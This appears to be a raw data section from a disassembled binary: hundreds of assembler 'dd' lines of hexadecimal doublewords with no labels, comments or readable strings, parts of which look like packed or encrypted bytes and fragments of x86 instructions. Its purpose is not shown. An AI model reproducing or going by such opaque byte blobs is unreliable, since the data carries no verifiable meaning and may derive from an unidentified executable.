		dd 8B1AAA54h, 0AF1CAC58h, 55C4DA6Fh, 78E57522h,	0F68DA60Bh
		dd 185A1900h, 44EE21B6h, 4D9A47B4h, 0F6AFC82Dh,	477C1900h
		dd 5F9F0C9Ch, 0A70C9BFDh, 1FAA124Fh, 73225A9Ch,	3FA43374h
		dd 19058DFEh, 233CA10Eh, 0F014542Dh, 0A7E919AEh, 0A838E518h
		dd 0A838E619h, 1BC8FD13h, 3531558Bh, 2491F5EBh,	0D46B8h
		dd 0D5650E00h, 2DBD689Dh, 8212C0F5h, 0D565154Ah, 2BBB689Dh
		dd 0A126F7F3h, 0F72C64F4h, 4E83BB4Bh, 0A2D70F9Fh, 0EC3068F8h
		dd 0A95FF85Dh, 67AC1FAEh, 49D986F7h, 48D887BAh,	180F7CDBh
		dd 720270FAh, 30657B10h, 0D1540386h, 0EA2A9727h, 79DB1B88h
		dd 0DB0CEF41h, 92D83DCCh, 7C1FAA07h, 0E691AA0Fh, 1C5E1FA9h
		dd 83E85787h, 1FA9E6EAh, 8B0FD637h, 4FF15DEEh, 0B91E8BEDh
		dd 1FA998DCh, 0C777AA39h, 2D935218h, 0BD1F1929h, 10BB1050h
		dd 0DD70EB80h, 41D52FE2h, 0BCA8ADh, 86380000h, 0ACDF4CDCh
		dd 95026FFFh, 0BB28B862h, 0A381E67Bh, 0FD1900F8h, 9323D053h
		dd 0F584E626h, 0F60A2388h, 67A81900h, 0BBBE3AC0h, 9B3072C4h
		dd 16A65085h, 17A75487h, 5D8A3782h, 0FC56BB4Ah,	4B1FAADBh
		dd 9D477A09h, 7DDF6F1Ah, 0C423D2E8h, 0B4E754E3h, 7CE17606h
		dd 19055424h, 8984277h,	37E417A6h, 527C157Ah, 5AC91455h
		dd 55525CF5h, 567A914h,	89366BA3h, 7235C3F9h, 9C09F5EAh
		dd 0C2A30h, 0F1812A00h,	49D984B9h, 9E2EDC11h, 0F1813166h
		dd 47D784B9h, 0BD02130Fh, 13488010h, 6A9FD767h,	0BEF32BBBh
		dd 84C8414h, 0A87B1479h, 83C81FAEh, 49D98613h, 0A232DC11h
		dd 0DC86186Ah, 0C71CAC59h, 0BD2A8C1Ch, 0BE23E08Ah, 1900F3A5h
		dd 3FCE3072h, 0F3D46DD2h, 6E1E1900h, 0DF3171DEh, 43F2089Dh
		dd 0EBF2E4A4h, 0A2C998C5h, 564CB140h, 0A81FAA81h, 31BDD63Bh
		dd 488A1FA9h, 5D2283B3h, 9F7138C2h, 1844DD42h, 4F911FA9h
		dd 90E16CEDh, 31C02FC8h, 18FD62CFh, 7D1FA939h, 275A6DE0h
		dd 3A7AE777h, 487D30A5h, 1FF6AD42h, 69000000h, 0B993CA0Ah
		dd 3CD130CFh, 8354DECh,	71DE0000h, 0F3730Ch, 0DB8BC019h
		dd 3C9EDE4Bh, 0DB0C57A7h, 600A3DCCh, 8E2363D0h,	1852BC21h
		dd 9FE11FAAh, 0C555FF32h, 5C74D736h, 6C3A654Bh,	80C02DBDh
		dd 473891Eh, 37193297h,	0A4E61FA9h, 0A232DC0Fh,	2841A613h
		dd 0F51FA937h, 6ED31EB3h, 86ECD2F3h, 24DD70EBh,	7DB2EA7Ah
		dd 71D643D3h, 74ED14A5h, 0FA0746C1h, 9020CD50h,	4981E323h
		dd 6F086DDAh, 0BC74ED14h, 8B2E57Ah, 0F4A60B78h,	0F374ED14h
		dd 2A342584h, 19FB94F9h, 64874EDh, 63435585h, 0C4E9F1E2h
		dd 7C112E07h, 0BB54C01h, 0DD4ADA88h, 0A9A489Dh,	913B70A8h
		dd 0E79401h, 78AB18A7h,	5ECB38C8h, 0EDDD60F9h, 96BAD74h
		dd 3E2F0F74h, 5A9C7247h, 0BEBB0622h, 0BC51E18Bh, 40CFD80Fh
		dd 3C42EFDBh, 6BFA3C6Bh, 0BFE2E80Ch, 7302F30Ch,	3F5C750Eh
		dd 0EB80C262h, 7B7B2D92h, 94538C2Eh, 0E4178413h, 0F838A535h
		dd 8120FE63h, 357746FAh, 38C873A6h, 0ABF68BCBh,	2FBEE9FEh
		dd 54CAC9CAh, 0A5347640h, 38C872h, 0C37E3291h, 22A82355h
		dd 3979E676h, 650F42D7h, 0DA439FD5h, 82EF9C99h,	0A3A16h
		dd 0E1711A00h, 39C974A9h, 8E1ECC01h, 0E1712156h, 37C774A9h
		dd 0AD1203FFh, 3387000h, 5A8FC757h, 0AEE31BABh,	0F83C7404h
		dd 0AE6B0469h, 73B81FAEh, 4CDC8603h, 4012CE16h,	97037003h
		dd 9FBh, 0E820B059h, 407808B3h,	95CD5D0Bh, 0E820B060h
		dd 3E7606B3h, 3FEC5D42h, 964277AFh, 0EA99CE06h,	43ED225Ah
		dd 0A8377BB3h, 0AEAE2A43h, 42B2F71Fh, 0DF4CDC86h, 376FFFACh
		dd 5493D01Bh, 6B5FC453h, 0C01FAA09h, 2996037Eh,	0E43E57BCh
		dd 0C90B1FA9h, 0A9E42942h, 5FB4F61Fh, 278C21B1h, 0DC175A4Fh
		dd 0F48DF25Fh, 41D16682h, 2ABD6AFFh, 0B589EE7Dh, 2D7CC60h
		dd 41A653C0h, 56AD766h,	0D60F7C6Ch, 48D884B9h, 0A4399BDBh
		dd 0E8C1D237h, 3C7ED0A2h, 40D07AADh, 46DF44B1h,	93CCBCF0h
		dd 71A6BC51h, 89844C7h,	0B0C92E9Bh, 7DCCBCF0h, 4177D93Bh
		dd 2D840F8Dh, 40CC38A5h, 14000009h, 6EA3DB6Bh, 0C6FB33C3h
		dd 1B508818h, 6EA3DB6Bh, 0FDF931C1h, 6AFAA718h,	0C151FD32h
		dd 15A55489h, 6EFEA8DDh, 0FE63F236h, 1FAEAD65h,	4CFD6DB2h
		dd 0F3E17ADFh, 0BF2E1900h, 0F3C15Ah, 6ACC0E19h,	68F8A2D5h
		dd 8919C8FBh, 0F3B1EA51h, 66811900h, 144DB241h,	211FAF4Bh
		dd 731D50DFh, 93CABE3h,	639CE5Eh, 984CAD5Ch, 0B4FFA51Fh
		dd 0CB0B7808h, 2D9A0769h, 39CF52CEh, 0AB00FB02h, 0C2026FFFh
		dd 9E4DFA2Dh, 1FF91012h, 52BF21D7h, 0AAE0701Fh,	0FC91EF16h
		dd 0A43FAB18h, 0B0000008h, 0A3F7707h, 6297CF5Fh, 0B7EC24B4h
		dd 0A3F7707h, 9995CD5Dh, 6964384h, 5DED99CEh, 0B141F025h
		dd 0A9A4479h, 9AFF8ED2h, 1FAEAC81h, 8699094Eh, 0ACDF4CDCh
		dd 0D2057202h, 0F6299626h, 934AB747h, 0CBF3518h, 9B45BC91h
		dd 0A95CD30Bh, 22A6987Eh, 513h,	0CCDB0CB2h, 9167DE3Dh
		dd 4C594E46h, 6CE54AB7h, 0B91FAFECh, 0BB5E877h,	75D4437Bh
		dd 0E16F0A8Ch, 0A956EB41h, 0A1D46344h, 0B8F865F5h, 1173D823h
		dd 4294C3E3h, 6417A8A5h, 0AB26B3A2h, 0CE3BCB78h, 52BEF98Eh
		dd 4E000000h, 37C6E10Ch, 0F3B9D2h, 0A7258619h, 71CA9280h
		dd 94F966C8h, 3968293Bh, 0D845D585h, 0FA67F7A5h, 5671DC77h
		dd 672D58F1h, 163A539h,	546BE27Fh, 0C70058A1h, 181Ah, 0DF4CAA00h
		dd 0F3E17Ah, 6BEC2E19h,	0B2F5AB12h, 0A713A873h,	20Ah, 7ADF4C55h
		dd 1900F3E1h, 0AA57EC2Eh, 37C77143h, 0A10368D5h, 0D2926D5Fh
		dd 0F4A71835h, 3B2004EAh, 9014B9DCh, 7ACFF1C1h,	6BA63BCBh
		dd 18h,	0C6E10CFBh, 5F77F459h, 7A4926Dh, 0E6C67946h, 0B03F2004h
		dd 0CF000000h, 3499E10Ch, 1900F31Bh, 58AA3AE5h,	0B825B416h
		dd 0F34DE64Bh, 2B9A1900h, 0F3ADC6h, 0D6387A19h,	0F343DC41h
		dd 4E901900h, 39DB615h,	0FF6CFCACh, 208D1DCCh, 51E18BE0h
		dd 76D754E4h, 0CB821D7Eh, 98BE41F4h, 65BAA6h, 0CE2D0000h
		dd 0F98CBB5h, 0E0701E91h, 3CD13373h
		dd 0C6E10CECh, 0CC65CA37h, 0DC1900F3h, 0F3DE77h, 97E92B19h
		dd 0C0500055h, 117E1353h, 0F391ACh, 0D8C62519h,	24E3C3B4h
		dd 0F72C5CF1h, 0C857B949h, 25AA0A69h, 1D65E676h, 0EE861BA2h
		dd 2CA979D2h, 6AEB9E21h, 0C64A699h, 0F4000000h,	1194Dh
		dd 0ABDE00h, 4D8BDB70h,	0C5h, 0C6E10CFBh, 0EB9EC59h, 3C84E97Eh
		dd 5F6E5136h, 81348BC2h, 0FAFBE8BEh, 84h, 0D3E10C8Ah, 94409525h
		dd 0E013A204h, 0F434A131h, 0F48DF25Fh, 411900F3h, 82D92FFh
		dd 0CD392120h, 0EFA21D30h, 68C6B8ABh, 52h, 7ADF4CF8h, 1900F3E1h
		dd 9113CD2Eh, 9E079CF6h, 0F3FAA73Ch, 0A7C025B4h, 741900F7h
		dd 0F958C532h, 267058Eh, 1900A169h, 7DF374B6h, 7DE277CBh
		dd 862167F8h, 282F8E1Dh, 0FDE907D5h, 6AE35EF3h,	0B884A255h
		dd 0E1B13h, 5B8E0000h, 74B421B1h, 6F4D8FDFh, 0FB000000h
		dd 0BD4CDC86h, 0F352EB50h, 0EF9C1900h, 36CB0D5Fh, 0F39086EBh
		dd 63FE1900h, 0BE6D17EAh, 88DCDFF1h, 0E41C7E02h, 6F194C92h
		dd 8F3F72DFh, 0F05292FFh, 683FAE5Bh, 24FE92AEh,	0EE21A6A7h
		dd 646B343h, 490C71h, 53EA1901h, 0A69887A1h, 7505B5E8h
		dd 77E47420h, 667A237h,	0F7FFFFFFh, 0D969194Ch,	0FF8F396Ch
		dd 5BF05292h, 272EFh, 194C9D00h, 1346DB6Bh, 2E47AC69h
		dd 0FB1900F3h, 0B7EA57B9h, 96457D0Dh, 5AC75651h, 0F3EF88EDh
		dd 0FA3C1900h, 0F3DA73h, 90E52719h, 50BD52E2h, 0AA064BEBh
		dd 976B81Fh, 7F573D9Ch,	0D0BDC232h, 0AA3FCF7Bh,	0A93F5045h
		dd 2528C51Fh, 4246E79Ah, 2E60ADh, 0CF00000h, 0A3DCCDBh
		dd 1E5ECB5Bh, 0B3B71C89h, 5B1FAA07h, 80ED7D28h,	397BAB40h
		dd 0E6B267CCh, 4AE71FA9h, 9309BC03h, 0CA82AD41h, 12000000h
		dd 0DC6C194Ch, 0E76A1447h, 0FA3AA737h, 4BF82B98h, 711B4EBBh
		dd 974174E1h, 98457807h, 87D69CE9h, 0DA3C6A42h,	82982D6Dh
		dd 0D2491Bh, 7A2A5D19h,	782255EAh, 0E241B0E8h, 2EFACC1Bh
		dd 0F29F3440h, 0B623B2F5h, 4D3851h, 34C30519h, 4DB6CFh
		dd 0AC418319h, 1B04DA3Fh, 11531FACh, 69572382h,	2AB90F3Eh
		dd 4181EE7Eh, 4CDC8ADFh, 9D0A9FDFh, 0F52DBD6Ah,	4D8313C0h
		dd 0FC939F7Dh, 0A8EC58C5h, 0AC000004h, 63B7303h, 5E93CB5Bh
		dd 0B3E820B0h, 63B7303h, 9591C959h, 2923F80h, 59E995CAh
		dd 0AD3DEC21h, 6964075h, 96FB8ACEh, 1FAE90FDh, 8695054Ah
		dd 0DC1149D9h, 7303AF32h, 0FD6AD911h, 0F3FF98h,	750A4C19h
		dd 4CDC8625h, 4EDE8ABDh, 26BB4BF9h, 6EFEA8DBh, 740D72DFh
		dd 0C11900F3h, 25D4EA7Fh, 0B646F2C2h, 0E492C554h, 0ED52BF54h
		dd 1FAA100Dh, 0A9A457Ah, 0D6BA19A8h, 16ACADB6h,	59BE099Eh
		dd 1FA9E0BEh, 691E2FAAh, 2D9A297Eh, 0E0C25BC0h,	600C1FA9h
		dd 0A73C7ED0h, 3037042h, 558DCF19h, 0D76641A6h,	0FD7BF972h
		dd 75044612h, 0CC049442h, 7BCA65h, 0DD6D1C0Dh, 5237A5h
		dd 95C80000h, 0ACEC59E9h, 194CC717h, 3070DD6Dh,	0F361369Bh
		dd 80691900h, 0CBAEF27h, 0DD4ADA89h, 69CE3B9Dh,	1900F3D0h
		dd 0A91E2FCAh, 0CF3CCC76h, 19C7FA8Fh, 1AC7FA89h, 70DFF58Ah
		dd 0AC01913Dh, 0A5D86DFDh, 94F966F6h, 1900F386h, 0F80944C1h
		dd 2F81B949h, 0DF6F194Ch, 0D868174Ah, 517DDC49h, 17D538B2h
		dd 5B2B44CBh, 0B6F81900h, 0A69D621h, 41EBF3E4h,	784430B1h
		dd 819FB81Dh, 2A6C1900h, 510033C8h, 48C354C1h, 1B63C205h
		dd 0A179FAF4h, 0F4A3D66Bh, 0D4C52C64h, 6E190127h, 3AD133C3h
		dd 0A698AE88h, 5FEF9CCFh, 0FF5C8FCAh, 861FFFFFh, 0BBE32DDCh
		dd 0F653F3C6h, 0F254B646h, 5FDE0463h, 3EAB3BE5h, 0F5B47DFEh
		dd 0A3D621B6h, 39C976F9h, 59E999CCh, 66F6A2F7h,	1F57B9F9h
		dd 0A1307770h, 40715542h, 87DC60D2h, 47B449D9h,	0AA7750E2h
		dd 6DAF1Fh, 0A977FE9Bh,	0D9D481Fh, 2DBD6DA0h, 99B42FC0h
		dd 113CD95Bh, 47D783B6h, 0FE8A3DB2h, 3603AD41h,	93000000h
		dd 3DCCDB0Ch, 0F84771D0h, 859EB71Ch, 296B1900h,	0AA48B4A8h
		dd 14BAB015h, 4F911FAAh, 934275E2h, 0C096E03h, 891FA9DBh
		dd 0AB5E61ECh, 24AD41A6h, 12Fh,	4CDC86B4h, 6FFFACDFh, 0B3629502h
		dd 2176B623h, 3878E575h, 36C670A3h, 5CEC96C9h, 7F5D6ECDh
		dd 0C5E0230h, 2AFA6177h, 76190056h, 0CF043CCCh,	0BB289525h
		dd 4AD55F5Ch, 55EA49F8h, 0D9683FA8h, 356E076Ch,	86BB1900h
		dd 9BDB48D8h, 0D237A439h, 1FA933BCh, 4DBA498Bh,	0A93A4FE8h
		dd 61FA5F1Fh, 0AE1FA93Ah, 57D81A6Ch, 42A075BDh,	0A1B74C8Fh
		dd 23B2F5F2h, 5781ABEh,	12C1F419h, 80D51582h, 94D441D1h
		dd 0F09ACFFFh, 6F94F360h, 80E94ACFh, 881779DBh,	0AA3AE81Bh
		dd 3568FD3Dh, 3669F888h, 4B61F686h, 6CFCA9DCh, 0F72ABFFFh
		dd 0F288D4Ah, 0D91455FEh, 0F0309D2Dh, 0C4FA5C9Eh, 0F5EB0668h
		dd 0D86DD946h, 7C000001h, 0D60B43D3h, 2E639B2Bh, 83B8F080h
		dd 0D60B43D3h, 65619929h, 0D2620FB0h, 29B9659Ah, 7D0DBCF1h
		dd 0D6661045h, 66CB5A9Eh, 1FAE96CDh, 4C65D51Ah,	0F3E17ADFh
		dd 8CF11900h, 1900F3F3h, 6AACFE40h, 65F5A2D5h, 0EC51BE2Dh
		dd 1900F353h, 1163F39Dh, 5D073ACFh, 3B9D2DDAh, 0B4619403h
		dd 0F3F992F7h, 4461900h, 0CBD0DA2h, 0A3DCCDBh, 9F2FDC5Fh
		dd 0FB90F232h, 73D298Eh, 0C80A1FAAh, 0E721F65Bh, 0D9761FA9h
		dd 92984B74h, 72DFAD41h, 0D387A005h, 12541FA9h,	0A9D3F28Bh
		dd 68FD3F1Fh, 0B72Dh, 0DC86BD00h, 0AE1BAB59h, 6C9F0C6Eh
		dd 5DC22FBFh, 1900F88Fh, 679F2FD9h, 0AAD98832h,	97DA9995h
		dd 673D56BBh, 0C80A1900h, 0D4641166h, 58C52767h, 197EEBh
		dd 0CD190067h, 9E49F68Bh, 9C477A09h, 9D0A770Ch,	0DA2FBF6Ah
		dd 0A3089D2Dh, 1FA9618Fh, 33E21A5Ch, 0FF64F3B4h, 19053286h
		dd 0D542D113h, 0C671F4A2h, 2767D436h, 22B25F92h, 8508B5EAh
		dd 0B0E648D8h, 0F5EACB86h, 0B863CF3Ch, 9C000000h, 0F62B63F3h
		dd 4E83BB4Bh, 0A3D810A0h, 0F62B63F3h, 8581B949h, 0F2822F90h
		dd 49D985BAh, 9D2DDC11h, 0F6863065h, 86EB7ABEh,	1FAE94EDh
		dd 8685F53Ah, 0DC1149D9h, 186AA232h, 0AD59DC86h, 0F92CBB1Dh
		dd 0DD28BD4Dh, 387000AAh, 0BA495E89h, 0E27BE04Dh, 2F1900F3h
		dd 0F3C25BC0h, 0CD0F1900h, 0C471D66Bh, 411FAF4Bh, 0B55F92FFh
		dd 0EB8ED25h, 0BA1FDC8Bh, 1FAEABA1h, 5DCA2C6Eh,	0E94EBB1Dh
		dd 1F282BB7h, 0E0212CA7h, 396EA636h, 5F92FF8Fh,	2FB21FAFh
		dd 0A10EB994h, 332B233Ch, 1FAEF01Eh, 332BA1BAh,	972C6E1Eh
		dd 8C37BA64h, 2D629AFCh, 1A86F383h, 3, 86C739C8h, 0ADE04DDDh
		dd 0D3067303h, 0F4279424h, 184BB848h, 3B6EDB6Bh, 5E91FE8Eh
		dd 7EB11EAEh, 0A0D340D0h, 7FF865F5h, 81E78957h,	4C7h, 4EF8300h
		dd 8B243C87h, 89572424h, 4C781E7h, 83000000h, 3C8704EFh
		dd 14895C24h, 0AB16824h, 2C890000h, 3210BA24h, 0E2814230h
		dd 59CE590Ah, 514AD2F7h, 5196E6B9h, 59CA29B9h, 4EC81h
		dd 24890000h, 24048124h, 4, 8B8505Dh, 2D000000h, 1DF4396Fh
		dd 6F05E801h, 891DF439h, 34FF5810h, 0C4815D24h,	4, 5A2434FFh
		dd 4C481h, 0A1E90000h, 0DEFFFBE1h, 0F0001E83h, 0D40DA761h
		dd 0CF374063h, 67F3B843h, 0C50306AEh, 0F7F8E0FFh, 0A5847ABBh
		dd 6A2F7E0Eh, 92F43E30h, 5CC95C6Dh, 4FBB3DDEh, 0FF7579B9h
		dd 0A0D82E96h, 33F24FB8h, 8D8D5478h, 6AE6977h
		dd 0E321D081h, 8D895B80h, 6A916CDh, 0C7C7B70Fh,	0A90CE585h
		dd 5B9006h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
		dd 1804h, 0C3574700h, 0A217C12Dh, 69BD29A1h, 0C706A901h
		dd 0A911CD85h, 6, 68E0F00h, 89000000h, 0A931819Dh, 0F9B5FF06h
		dd 6A06A927h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 18042444h, 45000000h, 6F3CC355h, 8975F9D5h, 0A91CD195h
		dd 0FE906h, 98D90000h, 9775086Eh, 48027647h, 6881010h
		dd 17890FA0h, 0E9000000h, 12h, 6688F071h, 41A81C9Bh, 0FA481C3Bh
		dd 0A382257Ah, 95FFB26Fh, 6A93281h, 0FF006AF9h,	0A92D9595h
		dd 0EBC08B06h, 6956A028h, 0B8F1E98h, 943E6A6Fh,	0F59E8063h
		dd 0EFF1509Eh, 3B74DA1h, 62C63490h, 0F90C492h, 8ADC43BCh
		dd 373901F1h, 1ABE9FEh,	6A0000h, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 1A0424h, 53430000h, 8615B4C3h, 9F112919h
		dd 0C830Fh, 7E90000h, 29000000h, 4C94A1C4h, 0B58DE11Dh
		dd 6AE6A8Fh, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
		dd 1Ch,	9BC35545h, 3E42DFC6h, 0E3E9313Ch, 0EE9h, 2FEFDF00h
		dd 5C1381E9h, 5809CDC8h, 6004DD27h, 10E9h, 0CBAC5500h
		dd 721D8F40h, 0E1B23C91h, 80152623h, 9E85650h, 7D000000h
		dd 0C083A89Eh, 0F8307459h, 8D615B5Ah, 0AC4C5A85h, 0CE906h
		dd 37010000h, 0F3048656h, 461D7B48h, 0D0FFBACAh, 0FE9F5h
		dd 0E3AA0000h, 4421366Ch, 0A7BFE5AFh, 0EA18C70Bh, 6AC380h
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 140424h, 52420000h
		dd 0FCFC53C3h, 6AD98C66h, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 1A042444h, 41000000h, 5C2EC351h, 83CE28D5h
		dd 840FF98Eh, 7, 1880Fh, 0F6F90000h, 840F04C1h,	77h, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 16h, 0EEC35343h, 880F3152h
		dd 1Bh,	15880Fh, 10E90000h, 89000000h, 589156D8h, 48550F9Fh
		dd 2418313Dh, 8BB67220h, 32CB8BFBh, 0FD75AEC0h,	0D9F7CF2Bh
		dd 0D78BF92Bh, 0EBD98B49h, 3F20CD00h, 0B000101h, 8D1874C0h
		dd 0FA8B0C70h, 75A6CB8Bh, 0FA75490Ah, 1B8h, 8B09EB00h
		dd 0B8E4EB00h, 0
		dd 6E9CFh, 648A0000h, 1115D122h, 2285C7FCh, 3F06AE6Bh
		dd 0EB000101h, 60h, 17h	dup(0)
		dd 0BDFE900h, 0D3E90000h, 6800000Bh, 6AE7406h, 0FB1408E9h
		dd 75A368FFh, 0FEE906AEh, 68FFFB13h, 6AE75FBh, 0FB13F4E9h
		dd 51831BFFh, 0DB11AE54h, 659F38DEh, 0F024C268h, 81B34DF3h
		dd 9FDB4984h, 28CECB05h, 0B55B588Ch, 45EBE81Ah,	217774A6h
		dd 0AAF7FF8Dh, 2EA1F5F5h, 39F2710h, 2BC76FD1h, 9F4E8622h
		dd 8B27CD0Ch, 17B65C59h, 31CC52E5h, 4AE66CFFh, 5FF97F12h
		dd 78009225h, 6312A5DFh, 85BF5901h, 3CD860F2h, 0CFCF826Eh
		dd 0D38202A7h, 0F92BC971h, 0D47E066h, 0C660E87Ah, 33E214B3h
		dd 0E78FF1A0h, 5DCA7E4Ah, 0ED9B3E17h, 0CE19AB3Eh, 7A070D7Ah
		dd 0EE8B1101h, 0F0D25ABCh, 76E06E00h, 0A2F271EBh, 80CB5FF1h
		dd 1A6B6926h, 0E17B019Dh, 0B6D1CAFh, 9794C663h,	0AB3DAF11h
		dd 0F533DD1Dh, 871ACBF5h, 33306201h, 629433F5h,	75AF48D0h
		dd 91D133E2h, 7A0BDC27h, 0FB447E19h, 5FC1C7DAh,	6E538CAAh
		dd 7EBC6280h, 0D0029F27h, 1BB9496Eh, 43FC9BB9h,	0BC000000h
		dd 0EE806E53h, 22B0C966h, 0FCA415D4h, 0D16413C4h, 2780C022h
		dd 0A4155D99h, 6C8A3BFCh, 6E0B9327h, 0E594C665h, 141A352h
		dd 0F4CA9633h, 0F12D8149h, 0D6D3313Ah, 4B2DCC8Dh, 0EA087E9Ch
		dd 3998h, 6E535A00h, 0CA66EE80h, 3EED1FBBh, 9F279CDCh
		dd 2355F304h, 1B51EE74h, 0C377D988h, 0D40EA72Fh, 1632C472h
		dd 0E99AFCA4h, 330727CBh, 87D26496h, 0B7274DEAh, 70B01236h
		dd 6F53EA08h, 0F061EF81h, 38F27F38h, 0DA62F487h, 0C1700341h
		dd 0E711B15Fh, 8A29F5FAh, 0A63FC558h, 0A42AD96Ch, 0B146D90Bh
		dd 7998066Eh, 6ECAE16h,	8FA00FD2h, 1D8h, 7F6D534Fh, 2BCB59EDh
		dd 75FCA416h, 0AF12E22Ah, 752406C5h, 1DD15F13h,	7BFCA3A3h
		dd 12B137CAh, 33A5E3E0h, 26446294h, 0FF932708h,	0A4158571h
		dd 0D66213FCh, 0FCA41620h, 0E56DCF80h, 27F412DCh, 3CCF019Fh
		dd 0CE0C2B8Dh, 0F1059327h, 0AFFCA415h, 0A7D978FEh, 1BE22045h
		dd 43D39BB9h, 93000000h, 0D240DC27h, 2FC68B89h,	0A36255A1h
		dd 0E39243FCh, 26C8F981h, 5D992708h, 3BFCA415h,	93276C8Ah
		dd 0DB3D6F0Bh, 26DC279Bh, 41D77378h, 0E6DD19A7h, 0ABBFCA3h
		dd 0B451F95Bh, 0EA08607Eh, 5698h, 6E535A00h, 9F276280h
		dd 0B569CB05h, 0A415CF27h, 2D448FFCh, 0A5EE6400h, 742573D5h
		dd 39F2756h, 93265EFAh,	59A235E4h, 6A24C0D7h, 0B012C1B1h
		dd 46D468FCh, 0FCA337B0h, 9DDD3FF0h, 46649633h,	5AE27608h
		dd 0FDF985BFh, 61FCA415h, 0A41623D3h, 74CC7DFCh, 532161C3h
		dd 5FED7F6Dh, 0FCA41593h, 3FD16415h, 60C429F4h,	1173B798h
		dd 9B98CA69h, 2FC755E9h, 3BFCA354h, 65166EA0h, 9433C303h
		dd 8264462h, 10A96E53h,	0D516BC38h, 802F9EF8h, 1AB83EEDh
		dd 0F5A453E6h, 0B67EBCD7h, 9BB91B4Ch, 5B69h, 9321B500h
		dd 0F9A41563h, 0A682F23Dh, 8AE18FCFh, 533979DBh, 2762806Eh
		dd 0A4155D99h, 0DB7901FCh, 0F59016A9h, 30AA0CBBh, 727617Fh
		dd 0D2649633h, 5AA25A87h, 46F588BCh, 9A6855FDh,	0A54F5702h
		dd 73D584C8h, 5932733h,	0FCA415F1h, 0DD78FEAFh,	0FF6110A3h
		dd 27980E2Ch, 5A000000h, 62806E53h, 0DFBDC27h, 0BA5B6D46h
		dd 0E016A458h, 0ECFCA3DFh, 0E02CCA58h, 0BB6CFCA3h, 727EE0Ch
		dd 46649633h, 9F27EA08h, 8A39CC06h, 114E528h, 0AB330000h
		dd 3A7ADC0Eh, 0BA86D53h, 26B446D9h, 0FCA415D0h,	0C1701FD0h
		dd 0E90D9B2Fh, 0B7FCA415h, 62F0A406h, 0FCA4158Ch, 42C85B0Ch
		dd 367471A3h, 44629433h, 6E530826h, 3FD210A9h, 21E4790h
		dd 0AFAA7C53h, 48E66E00h, 0E8BD9D7Ah, 40EF9C1Ch, 7EBC9EDEh
		dd 0B91B4CB6h, 58699Bh,	53290000h, 0D60CA96Eh, 99270927h
		dd 0FCA4155Dh, 0DCC6F03Bh, 6DDCA60Bh, 9F27A0BEh, 2759F700h
		dd 0A336E594h, 4ADE92F4h, 8CEE26C2h, 69F274Ch, 0E574A832h
		dd 6615E236h, 1AC224D3h, 829477Dh, 7498EAh, 5EE60000h
		dd 6FEAF5C5h, 6B03A027h, 0F47A29BCh, 0E5942759h, 6E534383h
		dd 0CC66EE80h, 0E5730598h, 0FCA41611h, 0CD2FDE8Fh, 5D99278Dh
		dd 1FCA415h, 14A7DD79h,	2DB50365h, 19AB5A90h, 15FFF785h
		dd 0E899FCA4h, 9F274686h, 0B569CB05h, 29F2795h,	2C8E3DD0h
		dd 97B5E784h, 0F1059327h, 0AFFCA415h, 15698D1Bh, 8637FCA4h
		dd 10A275D7h, 1608EE7Ch, 0E798FCA4h, 94334585h,	0AE49CF62h
		dd 32D17774h, 15678F1Dh, 0A931FCA4h, 9241D40Eh,	15A134E3h
		dd 0FCA415DFh, 0FA5DA70Ah, 862C295Bh, 9B23B5E7h, 0B368CAFCh
		dd 0F2FB9921h, 0E701F55h, 0B318523Ch, 35670649h, 0E010B238h
		dd 3991C04Eh, 4DD5F27Fh, 5CEE81B3h, 0FAE828CEh,	18C778F5h
		dd 784AD669h, 0C2F5FAE7h, 0D258EB29h, 0E76D0034h, 60A5134Dh
		dd 4E72F014h, 0EF550C9Fh, 246F2140h, 8A12393h, 3F8837CAh
		dd 0CB680EDCh, 0A8570699h, 0B79BE146h, 0A00F9D3Bh, 425Ah
		dd 94331A00h, 1605F17Fh, 0FDA2FCA4h, 43084869h,	6B1ACB23h
		dd 3D868ED9h, 46AF638Bh, 53A32FE4h, 9EFCA3FDh, 0EE82F13Bh
		dd 995C766h, 0FCA3FDEDh, 548623ABh, 0FC9B43A5h,	0FD9D59E7h
		dd 4AFBFCA3h, 33609E9Bh, 69CF6294h, 7D059759h, 9549ABE1h
		dd 17DF6D01h, 81FCA416h, 79285AF9h, 79A16917h, 0C677F272h
		dd 717F43C9h, 0CE0051DFh, 9748EBD0h, 50DE7204h,	0FC9CD0A6h
		dd 31DF41F2h, 0FC9CD091h, 44D70DA9h, 66EC20BEh,	6B0093C9h
		dd 3352DC28h, 4CA664D0h, 49A6B1BAh, 36h, 69720D95h, 550497CDh
		dd 26413A6h, 49F27C2h, 3F8837CAh, 56267159h, 0CB53B5ADh
		dd 0D165F7F5h, 1072B049h, 0A3338462h, 0D16314FCh, 7572B049h
		dd 1234h, 6D53F600h, 935FED7Fh,	15FCA415h, 0B14AD264h
		dd 27387673h, 6FD1039Fh, 1702Ch, 6A53EE00h, 8265E7Ch, 0D1039F27h
		dd 852D8F3Eh, 0D722B4E6h, 0DD697828h, 2262C404h, 4CB67EBCh
		dd 699BB91Bh, 5Ah, 7C6A5329h, 59F275Eh,	278938CBh, 1611E573h
		dd 78FFCA4h, 0F2A1346Eh, 0CC857FA9h, 6B5776Eh, 330727E8h
		dd 9E51CE9Ah, 4B73A83Ch, 0E8760A9Ch, 0FCA3390Eh, 3934C250h
		dd 0B364FCA3h, 848AA5Bh, 9F27EA08h, 9D59E704h, 0FBFCA415h
		dd 82089B4Ah, 9AFCABE9h, 4B57h,	6A531900h, 93275E7Ch, 0A415F105h
		dd 9CFEAFFCh, 159C5AE8h, 2EC2FCA4h, 0A41556A0h,	2F9142FCh
		dd 87BD59E1h, 9FD56EF4h, 97CD6AF0h, 3AC256E8h, 23D2659Fh
		dd 0A4155F97h, 268839FCh, 270727E6h, 37CA049Fh,	0E57E2688h
		dd 0EA0891AFh, 44629433h, 0DC270826h, 7CD05789h, 0B53D9F28h
		dd 40720B0Ch, 7EBC7391h, 0B91B4CB6h, 35699Bh, 53290000h
		dd 0FF0CA96Eh, 0ED9C2F61h, 27718F3Eh, 0A4155D99h, 6C8A3BFCh
		dd 0F8C6DC27h, 0E74C5713h, 0A3E09D59h, 9B4AFBFCh, 33658539h
